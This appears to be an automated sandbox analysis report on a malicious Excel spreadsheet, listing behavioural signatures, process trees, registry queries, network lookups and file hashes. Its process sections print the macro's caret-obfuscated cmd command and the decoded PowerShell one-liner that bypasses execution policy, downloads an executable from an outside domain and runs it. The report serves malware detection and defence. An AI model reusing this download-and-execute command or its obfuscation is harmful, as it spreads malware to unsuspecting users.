Analysis Overview
SHA256
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b
Threat Level: Known bad
The file 3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: PowerShell
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 02:50
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 02:50
Reported
2024-08-15 02:52
Platform
win10v2004-20240802-en
Max time kernel
47s
Max time network
35s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cMd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3188 wrote to memory of 2944 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\splwow64.exe |
| PID 3188 wrote to memory of 2944 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\splwow64.exe |
| PID 3188 wrote to memory of 2124 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cMd.exe |
| PID 3188 wrote to memory of 2124 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cMd.exe |
| PID 2124 wrote to memory of 2752 | N/A | C:\Windows\SYSTEM32\cMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2124 wrote to memory of 2752 | N/A | C:\Windows\SYSTEM32\cMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
C:\Windows\SYSTEM32\cMd.exe
cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | cedacriall.faith | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.193.132.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
Files
memory/3188-0-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp
memory/3188-1-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp
memory/3188-2-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp
memory/3188-3-0x00007FFFD5EAD000-0x00007FFFD5EAE000-memory.dmp
memory/3188-4-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp
memory/3188-5-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp
memory/3188-6-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-10-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-11-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-9-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-15-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-17-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-18-0x00007FFF93530000-0x00007FFF93540000-memory.dmp
memory/3188-19-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-21-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-20-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-16-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-14-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-13-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-12-0x00007FFF93530000-0x00007FFF93540000-memory.dmp
memory/3188-7-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/3188-8-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
memory/2752-306-0x000002C7F65F0000-0x000002C7F6612000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puthtgfd.unj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 8c0cef91588b6ed43c7848c5aff1d01a |
| SHA1 | 766aa0749a39d5b0d2a3a972d87834fb04df969f |
| SHA256 | aefcb4eaef0a06711744c04c66844b3afd04c8549ea8fe1ae35252073a4ec1a9 |
| SHA512 | e9e69471c2fdcc402551a514d61ec2689d71ef7689d62476632fba9008eb12f5e61d50490e68981f5069e547a8998d0c16657f13e27dc74b6255a517060ef4c7 |
memory/3188-318-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 02:50
Reported
2024-08-15 02:52
Platform
win7-20240729-en
Max time kernel
19s
Max time network
16s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cMd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cMd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\cMd.exe
cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cedacriall.faith | udp |
Files
memory/2688-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2688-1-0x000000007259D000-0x00000000725A8000-memory.dmp
memory/2688-244-0x00000000066B0000-0x00000000067B0000-memory.dmp
memory/2688-125-0x00000000066B0000-0x00000000067B0000-memory.dmp
memory/2688-246-0x00000000066B0000-0x00000000067B0000-memory.dmp
memory/2688-245-0x00000000066B0000-0x00000000067B0000-memory.dmp
memory/2688-44-0x00000000066B0000-0x00000000067B0000-memory.dmp
memory/2688-249-0x000000007259D000-0x00000000725A8000-memory.dmp
memory/2688-250-0x00000000066B0000-0x00000000067B0000-memory.dmp